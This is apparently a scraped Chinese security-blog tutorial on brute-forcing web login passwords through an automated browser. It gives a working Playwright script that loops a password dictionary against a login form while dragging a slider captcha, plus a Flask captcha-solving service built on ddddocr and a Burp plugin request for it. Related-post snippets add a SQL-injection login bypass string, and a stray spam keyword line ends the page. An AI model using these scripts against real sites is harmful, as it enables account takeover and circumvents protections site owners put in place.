<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    基于瀏覽器的口令暴破與圖形驗證碼識別

    VSole2023-02-09 13:52:06

    本文僅作為技術討論及分享,嚴禁用于任何非法用途。

    前言

    隨著網絡安全水平的發展,越來越多的網站增加了 RSA 加密、圖形驗證碼等防護手段,傳統的口令暴破方式已捉襟見肘,如果高效、低代碼的進行口令暴破?本文將介紹一個操作瀏覽器進行口令暴破的案例與驗證碼識別工具。

    Playwright:瀏覽器自動化工具

    Playwright 是一個強大的 Python 庫,僅用一個 API 即可自動執行 Chromium、Firefox、WebKit 等主流瀏覽器自動化操作,并同時支持以無頭模式、有頭模式運行。相比傳統的 “selenium” 等工具,他可以錄制我們對瀏覽器的操作并自動生成腳本,同時代碼也是非常簡單,與我們高效工作的目標非常契合。

    Playwright:滑動驗證碼案例

    生成登錄流程代碼

    安裝 playwright 后,運行下面命令進行錄制瀏覽器操作,并生成代碼:

    python -m playwright codegen
    

    輸入目標 URL 并回車,可以看到自動生成了代碼:

    輸入賬號、密碼,點擊驗證碼,然后點擊登錄。錄制過程中并不能拖動滑塊,所以無法生成滑塊的代碼,登錄操作其余的大部分代碼均已生成,也可以看到其代碼是非常簡單的:

    修改為暴破腳本

    from playwright.sync_api import Playwright, sync_playwright
    # chrome的路徑
    chromepath = r"chromium-939194\chrome-win\chrome.exe"
    from time import sleep
    def readpasswd(filename):
        fp = open(r"password.txt", 'r', encoding='utf-8')
        return fp
    def run(playwright: Playwright) -> None:
        browser = playwright.chromium.launch(executable_path=chromepath, headless=False)
        context = browser.new_context()
        # Open new page
        page = context.new_page()
        fp = readpasswd(1)
        username = 'admin'
        # 循環讀取字典暴破
        for passwd in fp:
            page.goto("http://xxx.xxx.xxx.xxx/login.html")
            # Click input[name="userName"]
            page.click("input[name=\"userName\"]")
            # Fill input[name="userName"]
            page.fill("input[name=\"userName\"]", username)
            # Click input[name="password"]
            page.click("input[name=\"password\"]")
            # Fill input[name="password"]
            page.fill("input[name=\"password\"]", passwd)
            # Click text=/.*\>\>.*/
            # 滑動解鎖代碼
            s = page.wait_for_selector("text=/.*\\>\\>.*/")
            box = s.bounding_box()
            page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2)
            page.mouse.down()
            # for i in range(10):
            page.mouse.move(box["x"]+520,box["width"]/2, steps=10)
            # Click text=登錄
            page.mouse.up()
            page.click("text=登錄")
            sleep(1)
            response_html = page.content()
            print(f'username: {username}, password: {passwd}, length: {len(response_html)}, title: {page.title()}')
        # ---------------------
        context.close()
        browser.close()
    with sync_playwright() as playwright:
        run(playwright)
    

    運行效果如下,通過頁面長度、標題等輸出信息可大致判斷是否暴破成功:

    ddddocr:Python 驗證碼識別庫

    ddddocr 是 Python 的一個 OCR 通用驗證碼識別 SDK,可離線識別驗證碼。項目地址:https://github.com/sml2h3/ddddocr。

    為了方便使用這個驗證碼識別工具,我寫了個簡單的 web api 來方便遠程調用驗證碼識別服務:


    ### 保存以下代碼為py文件,在服務器或者本地運行(需安裝好ddddocr庫)。
    from flask import Flask
    from flask import request, abort
    import base64
    import traceback
    import sys
    from os.path import join, abspath, dirname
    import ddddocr
    app = Flask(__name__)
    token = 'fbc3a282fd5ed254e54d2260607a1360'
    @app.route('/', methods=['GET', 'POST'])
    def index():
        res = ''
        if  request.method == 'POST':
            usertoken = request.form.get('token')
            img = request.form.get('b64img')
            if token != usertoken:
                return 'token error!', 403
            else:
                try:
                    content = base64.b64decode(img.encode('utf-8'))
                    res = classfifyCode(content)
                except:
                    traceback.print_exc()
                    res = ''
        return res, 200
    def classfifyCode(image):
        ocr = ddddocr.DdddOcr()
        res = ocr.classification(image)
        return res
    def main():
        app.run(host='0.0.0.0', port=50000, debug=True)
    if __name__ == "__main__":
        main()
    

    調用示例如下:


    import requests
    import base64
    # 獲取驗證碼圖片
    r = requests.get('http://xxx.xxx.xxx/code.php')
    img = r.content
    b64img = base64.b64encode(img).decode('utf-8')
    token = 'fbc3a282fd5ed254e54d2260607a1360'
    data = {
        'token': token,
        'b64img': b64img
    }
    # 驗證碼識別服務器url
    r2 = requests.post('http://127.0.0.1:50000', data=data)
    print(r2.text, r.status_code)
    

    這里隨便找了個圖形驗證碼測試,能正常檢測出來,而且速度非常快:

    既然驗證碼識別的問題解決了,后面就是根據我們的實際需要去編寫腳本或者集成到已有工具中了,非常簡單。

    下面補充一個 burpsuite 驗證碼識別插件 captcha-killer 調用該接口的案例:

    captcha-killer:https://github.com/c0ny1/captcha-killer


    POST / HTTP/1.1
    Host: 127.0.0.1:50000
    User-Agent: python-requests/2.26.0
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Content-Length: 2776
    Content-Type: application/x-www-form-urlencoded
    token=fbc3a282fd5ed254e54d2260607a1360&b64img=<@URLENCODE><@BASE64><@IMG_RAW>@IMG_RAW>
    @BASE64
    >
    @URLENCODE
    >
    

    小結

    本文介紹了瀏覽器自動化工具 Playwright、驗證碼識別庫 ddddocr 以及滑動驗證碼的暴破案例,如果遇到圖形驗證碼的站點,只需要把滑動驗證碼的代碼修改為調用 ddddocr 接口即可,相信聰明的讀者們一定可以做到,就不重復贅述。

    最后,感謝以下開源項目的作者為我們帶來如此方便好用的工具:

    https://github.com/microsoft/playwright-python

    https://github.com/sml2h3/ddddocr

    https://github.com/c0ny1/captcha-killer

    base64驗證碼識別
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    本文僅作為技術討論及分享,嚴禁用于任何非法用途。本文將介紹一個操作瀏覽器進行口令暴破的案例與驗證碼識別工具。Playwright:瀏覽器自動化工具Playwright 是一個強大的 Python 庫,僅用一個 API 即可自動執行 Chromium、Firefox、WebKit 等主流瀏覽器自動化操作,并同時支持以無頭模式、有頭模式運行。Playwright:滑動驗證碼案例生成登錄流程代碼安裝 playwright 后,運行下面命令進行錄制瀏覽器操作,并生成代碼:python -m playwright codegen
    captcha-killer要解決的問題是讓burp能用上各種驗證碼識別技術!插件當前針對的圖片類型驗證碼,其他類型當前不支持。captcha-killer本身無法識別驗證碼,它專注于對各種驗證碼識別接口的調用。
    該項目不是我的項目,本文章僅僅是為了記錄在使用該項目中碰到的問題
    驗證碼爆破總結
    2022-12-28 09:20:27
    驗證碼爆破總結
    如何爆破帶有驗證碼的Web登錄表單
    0X00 前言如果在滲透中遇到帶有驗證碼的網站登錄口,相信很多小伙伴遇到了帶驗證碼的登錄口就直接放棄了爆破弱口令的想法,這樣會喪失很多機會,所以今天就讓我來推薦一些可以識別驗證碼的Burp插件,以此用來爆破登錄口。
    滲透測試Tips
    2022-04-13 06:38:50
    知己知彼,百戰不殆1、如果提示缺少參數,如{msg:params error},可嘗使用字典模糊測試構造參數,進一步攻擊。
    由于測試過程中很多系統我們能接觸到的只有一個登陸界面,所以要充分挖掘漏洞,進行深入操作登錄 注冊萬能密碼繞過登錄存在 SQL 注入的情況下,有可能使用萬能密碼直接登錄admin' or '1'='1'--. 有超級多登錄口 SQL 注入存在 SQL 注入的話直接注出賬密有些可以構造用戶注入登錄,比如熊海 cms 后臺登錄處存在 sql 注入$login=$_POST['login'];
    0x0 前言做滲透測試也有一段時間了,每次對目標站點進行滲透的時候都發現登錄方面的問題特別多,針對Web登錄認證這塊,我一直想要寫個帖子進行全面點的總結,耐于目前處于實習階段,工作也較多,所以推遲到了如今,話不多說,下面開始進行對Web登錄認證類漏洞的安全驗證設計機制進行探討。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类